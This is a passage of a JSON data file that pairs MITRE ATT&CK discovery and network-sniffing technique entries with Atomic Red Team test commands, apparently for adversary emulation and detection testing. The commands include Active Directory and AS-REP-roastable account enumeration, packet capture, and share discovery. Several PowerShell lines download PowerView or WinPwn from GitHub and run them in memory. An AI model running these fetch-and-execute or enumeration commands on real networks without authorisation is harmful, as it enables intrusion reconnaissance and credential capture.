- "auto_generated_guid": "9f4e344b-8434-41b3-85b1-d38f29d148d0",
- "description": "The following Atomic test will utilize ADSISearcher to enumerate groups within Active Directory.\nUpon successful execution a listing of groups will output with their paths in AD.\nReference: https://devblogs.microsoft.com/scripting/use-the-powershell-adsisearcher-type-accelerator-to-search-active-directory/\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": false,
- "command": "([adsisearcher]\"objectcategory=group\").FindAll(); ([adsisearcher]\"objectcategory=group\").FindOne()\n"
- }
- },
- {
- "name": "Get-ADUser Enumeration using UserAccountControl flags (AS-REP Roasting)",
- "auto_generated_guid": "43fa81fb-34bb-4b5f-867b-03c7dbe0e3d8",
- "description": "When successful, accounts that do not require kerberos pre-auth will be returned.\nReference: https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html\n",
- "supported_platforms": [
- "windows"
- ],
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Computer must be domain joined.\n",
- "prereq_command": "if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Write-Host Joining this computer to a domain must be done manually.\n"
- },
- {
- "description": "Requires the Active Directory module for powershell to be installed.\n",
- "prereq_command": "if(Get-Module -ListAvailable -Name ActiveDirectory) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Add-WindowsCapability -Online -Name \"Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0\"\n"
- }
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": false,
- "command": "Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | Format-Table name\n"
- }
- },
- {
- "name": "Get-DomainGroupMember with PowerView",
- "auto_generated_guid": "46352f40-f283-4fe5-b56d-d9a71750e145",
- "description": "Utilizing PowerView, run Get-DomainGroupMember to identify domain users. Upon execution, progress and info about groups within the domain being scanned will be displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainGroupMember \"Domain Admins\"\n",
- "name": "powershell"
- }
- },
- {
- "name": "Get-DomainGroup with PowerView",
- "auto_generated_guid": "5a8a181c-2c8e-478d-a943-549305a01230",
- "description": "Utilizing PowerView, run Get-DomainGroup to identify the domain groups. Upon execution, Groups within the domain will be listed.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainGroup -verbose\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1007": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "macOS",
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa",
- "created": "2017-05-31T21:30:21.315Z",
- "x_mitre_version": "1.3",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1007",
- "url": "https://attack.mitre.org/techniques/T1007"
- },
- {
- "url": "https://capec.mitre.org/data/definitions/574.html",
- "source_name": "capec",
- "external_id": "CAPEC-574"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as sc query
, tasklist /svc
, systemctl --type=service
, and net start
.\n\nAdversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.",
- "modified": "2022-04-19T02:39:54.386Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "System Service Discovery",
- "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Command: Command Execution"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1007"
- },
- "atomic_tests": [
- {
- "name": "System Service Discovery",
- "auto_generated_guid": "89676ba1-b1f8-47ee-b940-2e1a113ebc71",
- "description": "Identify system services.\n\nUpon successful execution, cmd.exe will execute service commands with expected result to stdout.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "tasklist.exe\nsc query\nsc query state= all\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "System Service Discovery - net.exe",
- "auto_generated_guid": "5f864a3f-8ce9-45c0-812c-bdf7d8aeacc3",
- "description": "Enumerates started system services using net.exe and writes them to a file. This technique has been used by multiple threat actors.\n\nUpon successful execution, net.exe will run from cmd.exe that queries services. Expected output is to a txt file in in the temp directory called service-list.txt.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "output_file": {
- "description": "Path of file to hold net.exe output",
- "type": "path",
- "default": "%temp%\\service-list.txt"
- }
- },
- "executor": {
- "command": "net.exe start >> #{output_file}\n",
- "cleanup_command": "del /f /q /s #{output_file} >nul 2>&1\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1040": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows",
- "Network",
- "IaaS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Oleg Kolesnikov, Securonix",
- "Tiago Faria, 3CORESec"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529",
- "created": "2017-05-31T21:30:41.399Z",
- "x_mitre_version": "1.3",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1040",
- "url": "https://attack.mitre.org/techniques/T1040"
- },
- {
- "source_name": "AWS Traffic Mirroring",
- "url": "https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-how-it-works.html",
- "description": "Amazon Web Services. (n.d.). How Traffic Mirroring works. Retrieved March 17, 2022."
- },
- {
- "source_name": "GCP Packet Mirroring",
- "url": "https://cloud.google.com/vpc/docs/packet-mirroring",
- "description": "Google Cloud. (n.d.). Packet Mirroring overview. Retrieved March 17, 2022."
- },
- {
- "source_name": "SpecterOps AWS Traffic Mirroring",
- "url": "https://posts.specterops.io/through-the-looking-glass-part-1-f539ae308512",
- "description": "Luke Paine. (2020, March 11). Through the Looking Glass \u2014 Part 1. Retrieved March 17, 2022."
- },
- {
- "source_name": "Azure Virtual Network TAP",
- "url": "https://docs.microsoft.com/en-us/azure/virtual-network/virtual-network-tap-overview",
- "description": "Microsoft. (2022, February 9). Virtual network TAP. Retrieved March 17, 2022."
- },
- {
- "source_name": "Rhino Security Labs AWS VPC Traffic Mirroring",
- "url": "https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws/",
- "description": "Spencer Gietzen. (2019, September 17). Abusing VPC Traffic Mirroring in AWS. Retrieved March 17, 2022."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/158.html",
- "source_name": "capec",
- "external_id": "CAPEC-158"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n\nData captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nNetwork sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities.\n\nIn cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring) (Citation: GCP Packet Mirroring) (Citation: Azure Virtual Network TAP) Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring) (Citation: SpecterOps AWS Traffic Mirroring) The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic. (Citation: Rhino Security Labs AWS VPC Traffic Mirroring)",
- "modified": "2022-05-20T17:32:27.146Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Network Sniffing",
- "x_mitre_detection": "Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.\n\nIn cloud-based environments, monitor for the creation of new traffic mirrors or modification of existing traffic mirrors.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: Process Creation"
- ],
- "x_mitre_system_requirements": [
- "Network interface access and packet capture driver"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1040"
- },
- "atomic_tests": [
- {
- "name": "Packet Capture Windows Command Prompt",
- "auto_generated_guid": "a5b2f6a0-24b4-493e-9590-c699f75723ca",
- "description": "Perform a packet capture using the windows command prompt. This will require a host that has Wireshark/Tshark\ninstalled.\n\nUpon successful execution, tshark will execute and capture 5 packets on interface \"Ethernet\".\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "interface": {
- "description": "Specify interface to perform PCAP on.",
- "type": "string",
- "default": "Ethernet"
- },
- "wireshark_url": {
- "description": "wireshark installer download URL",
- "type": "url",
- "default": "https://1.eu.dl.wireshark.org/win64/Wireshark-win64-latest.exe"
- },
- "tshark_path": {
- "description": "path to tshark.exe",
- "type": "path",
- "default": "c:\\program files\\wireshark\\tshark.exe"
- },
- "npcap_url": {
- "description": "npcap installed download URL",
- "type": "url",
- "default": "https://nmap.org/npcap/dist/npcap-1.31.exe"
- },
- "npcap_path": {
- "description": "path to npcap.sys",
- "type": "path",
- "default": "C:\\Program Files\\Npcap\\npcap.sys"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "tshark must be installed and in the default path of \"c:\\Program Files\\Wireshark\\Tshark.exe\".\n",
- "prereq_command": "if (test-path \"#{tshark_path}\") {exit 0} else {exit 1}",
- "get_prereq_command": "Invoke-WebRequest -OutFile $env:temp\\wireshark_installer.exe #{wireshark_url}\nStart-Process $env:temp\\wireshark_installer.exe /S\n"
- },
- {
- "description": "npcap must be installed.\n",
- "prereq_command": "if (test-path \"#{npcap_path}\") {exit 0} else {exit 1}",
- "get_prereq_command": "Invoke-WebRequest -OutFile $env:temp\\npcap_installer.exe #{npcap_url}\nStart-Process $env:temp\\npcap_installer.exe\n"
- }
- ],
- "executor": {
- "command": "\"c:\\Program Files\\Wireshark\\tshark.exe\" -i #{interface} -c 5\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Windows Internal Packet Capture",
- "auto_generated_guid": "b5656f67-d67f-4de8-8e62-b5581630f528",
- "description": "Uses the built-in Windows packet capture\nAfter execution you should find a file named trace.etl and trace.cab in the temp directory",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "netsh trace start capture=yes tracefile=%temp%\\trace.etl maxsize=10",
- "cleanup_command": "netsh trace stop >nul 2>&1\nTIMEOUT /T 5 >nul 2>&1\ndel %temp%\\trace.etl >nul 2>&1\ndel %temp%\\trace.cab >nul 2>&1",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Windows Internal pktmon capture",
- "auto_generated_guid": "c67ba807-f48b-446e-b955-e4928cd1bf91",
- "description": "Will start a packet capture and store log file as t1040.etl.\nhttps://lolbas-project.github.io/lolbas/Binaries/Pktmon/",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "pktmon.exe start --etw -f %TEMP%\\t1040.etl\nTIMEOUT /T 5 >nul 2>&1\npktmon.exe stop\n",
- "cleanup_command": "del %TEMP%\\t1040.etl",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Windows Internal pktmon set filter",
- "auto_generated_guid": "855fb8b4-b8ab-4785-ae77-09f5df7bff55",
- "description": "Select Desired ports for packet capture \nhttps://lolbas-project.github.io/lolbas/Binaries/Pktmon/",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "pktmon.exe filter add -p 445\n",
- "cleanup_command": "pktmon filter remove",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1135": {
- "technique": {
- "x_mitre_platforms": [
- "macOS",
- "Windows",
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Praetorian"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f",
- "type": "attack-pattern",
- "created": "2017-12-14T16:46:06.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1135",
- "url": "https://attack.mitre.org/techniques/T1135"
- },
- {
- "external_id": "CAPEC-643",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/643.html"
- },
- {
- "url": "https://en.wikipedia.org/wiki/Shared_resource",
- "description": "Wikipedia. (2017, April 15). Shared resource. Retrieved June 30, 2017.",
- "source_name": "Wikipedia Shared Resource"
- },
- {
- "url": "https://technet.microsoft.com/library/cc770880.aspx",
- "description": "Microsoft. (n.d.). Share a Folder or Drive. Retrieved June 30, 2017.",
- "source_name": "TechNet Shared Folder"
- }
- ],
- "modified": "2021-10-13T18:10:57.185Z",
- "name": "Network Share Discovery",
- "description": "Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n\nFile sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\\\\\\\remotesystem
command. It can also be used to query shared drives on the local system using net share
. For macOS, the sharing -l
command lists all shared points used for smb services.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
- "x_mitre_version": "3.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Process: OS API Execution",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1135"
- },
- "atomic_tests": [
- {
- "name": "Network Share Discovery command prompt",
- "auto_generated_guid": "20f1097d-81c1-405c-8380-32174d493bbb",
- "description": "Network Share Discovery utilizing the command prompt. The computer name variable may need to be modified to point to a different host\nUpon execution avalaible network shares will be displayed in the powershell session\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "computer_name": {
- "description": "Computer name to find a mount on.",
- "type": "string",
- "default": "localhost"
- }
- },
- "executor": {
- "command": "net view \\\\#{computer_name}\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Network Share Discovery PowerShell",
- "auto_generated_guid": "1b0814d1-bb24-402d-9615-1b20c50733fb",
- "description": "Network Share Discovery utilizing PowerShell. The computer name variable may need to be modified to point to a different host\nUpon execution, avalaible network shares will be displayed in the powershell session\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "get-smbshare\n",
- "name": "powershell"
- }
- },
- {
- "name": "View available share drives",
- "auto_generated_guid": "ab39a04f-0c93-4540-9ff2-83f862c385ae",
- "description": "View information about all of the resources that are shared on the local computer Upon execution, avalaible share drives will be displayed in the powershell session",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "net share\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Share Discovery with PowerView",
- "auto_generated_guid": "b1636f0a-ba82-435c-b699-0d78794d8bfd",
- "description": "Enumerate Domain Shares the current user has access. Upon execution, progress info about each share being scanned will be displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Endpoint must be joined to domain\n",
- "prereq_command": "if ((Get-WmiObject -Class Win32_ComputerSystem).PartofDomain) {exit 0} else {exit 1}\n",
- "get_prereq_command": "\"Join system to domain\"\n"
- }
- ],
- "executor": {
- "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-DomainShare -CheckShareAccess -Verbose\n",
- "name": "powershell"
- }
- },
- {
- "name": "PowerView ShareFinder",
- "auto_generated_guid": "d07e4cc1-98ae-447e-9d31-36cb430d28c4",
- "description": "PowerView is a PowerShell tool to gain network situational awareness on Windows domains. ShareFinder finds (non-standard) shares on machines in the domain.",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "parameters": {
- "description": "ShareFinder parameter",
- "type": "string",
- "default": "-CheckShareAccess"
- }
- },
- "dependencies": [
- {
- "description": "Invoke-ShareFinder module must exist in %TEMP% directory",
- "prereq_command": "if (Test-Path $env:TEMP\\PowerView.ps1) {exit 0} else {exit 1}",
- "get_prereq_command": "Invoke-WebRequest \"https://raw.githubusercontent.com/darkoperator/Veil-PowerView/8784e33f17ee7543ba2f45e27dc5f08ea3a1b856/PowerView/powerview.ps1\" -OutFile $env:TEMP\\PowerView.ps1\n"
- }
- ],
- "executor": {
- "command": "Import-Module $env:TEMP\\PowerView.ps1\nInvoke-ShareFinder #{parameters}\n",
- "name": "powershell"
- }
- },
- {
- "name": "WinPwn - shareenumeration",
- "auto_generated_guid": "987901d1-5b87-4558-a6d9-cffcabc638b8",
- "description": "Network share enumeration using the shareenumeration function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nshareenumeration -noninteractive -consoleoutput",
- "name": "powershell"
- }
- }
- ]
- },
- "T1120": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "macOS",
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:28.471Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1120",
- "url": "https://attack.mitre.org/techniques/T1120"
- },
- {
- "external_id": "CAPEC-646",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/646.html"
- },
- {
- "source_name": "Peripheral Discovery Linux",
- "url": "https://linuxhint.com/list-usb-devices-linux/",
- "description": "Shahriar Shovon. (2018, March). List USB Devices Linux. Retrieved March 11, 2022."
- },
- {
- "source_name": "Peripheral Discovery macOS",
- "url": "https://ss64.com/osx/system_profiler.html",
- "description": "SS64. (n.d.). system_profiler. Retrieved March 11, 2022."
- }
- ],
- "modified": "2022-03-11T18:39:11.763Z",
- "name": "Peripheral Device Discovery",
- "description": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.(Citation: Peripheral Discovery Linux)(Citation: Peripheral Discovery macOS) Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
- "x_mitre_version": "1.3",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: OS API Execution",
- "Process: Process Creation"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator",
- "SYSTEM"
- ],
- "identifier": "T1120"
- },
- "atomic_tests": [
- {
- "name": "Win32_PnPEntity Hardware Inventory",
- "auto_generated_guid": "2cb4dbf2-2dca-4597-8678-4d39d207a3a5",
- "description": "Perform peripheral device discovery using Get-WMIObject Win32_PnPEntity",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Get-WMIObject Win32_PnPEntity | Format-Table Name, Description, Manufacturer > $env:TEMP\\T1120_collection.txt\n$Space,$Heading,$Break,$Data = Get-Content $env:TEMP\\T1120_collection.txt\n@($Heading; $Break; $Data |Sort-Object -Unique) | ? {$_.trim() -ne \"\" } |Set-Content $env:TEMP\\T1120_collection.txt",
- "cleanup_command": "Remove-Item $env:TEMP\\T1120_collection.txt -ErrorAction Ignore",
- "name": "powershell"
- }
- },
- {
- "name": "WinPwn - printercheck",
- "auto_generated_guid": "cb6e76ca-861e-4a7f-be08-564caa3e6f75",
- "description": "Search for printers / potential vulns using printercheck function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nprintercheck -noninteractive -consoleoutput",
- "name": "powershell"
- }
- }
- ]
- },
- "T1082": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "IaaS",
- "Linux",
- "macOS",
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Maril Vernon @shewhohacks",
- "Praetorian",
- "Austin Clark, @c2defense"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
- "created": "2017-05-31T21:31:04.307Z",
- "x_mitre_version": "2.4",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1082",
- "url": "https://attack.mitre.org/techniques/T1082"
- },
- {
- "source_name": "Amazon Describe Instance",
- "url": "https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html",
- "description": "Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020."
- },
- {
- "source_name": "Google Instances Resource",
- "url": "https://cloud.google.com/compute/docs/reference/rest/v1/instances",
- "description": "Google. (n.d.). Rest Resource: instance. Retrieved March 3, 2020."
- },
- {
- "source_name": "Microsoft Virutal Machine API",
- "url": "https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get",
- "description": "Microsoft. (2019, March 1). Virtual Machines - Get. Retrieved October 8, 2019."
- },
- {
- "source_name": "20 macOS Common Tools and Techniques",
- "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/",
- "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021."
- },
- {
- "source_name": "OSX.FairyTale",
- "url": "https://www.sentinelone.com/blog/trail-osx-fairytale-adware-playing-malware/",
- "description": "Phile Stokes. (2018, September 20). On the Trail of OSX.FairyTale | Adware Playing at Malware. Retrieved August 24, 2021."
- },
- {
- "source_name": "US-CERT-TA18-106A",
- "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A",
- "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/312.html",
- "source_name": "capec",
- "external_id": "CAPEC-312"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nTools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup
configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH
command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather detailed system information.(Citation: US-CERT-TA18-106A) [System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)\n\nInfrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)",
- "modified": "2022-04-20T18:13:33.490Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "System Information Discovery",
- "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather detailed system information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nIn cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Process: OS API Execution",
- "Command: Command Execution",
- "Instance: Instance Metadata",
- "Process: Process Creation"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1082"
- },
- "atomic_tests": [
- {
- "name": "System Information Discovery",
- "auto_generated_guid": "66703791-c902-4560-8770-42b8a91f7667",
- "description": "Identify System Info. Upon execution, system info and time info will be displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
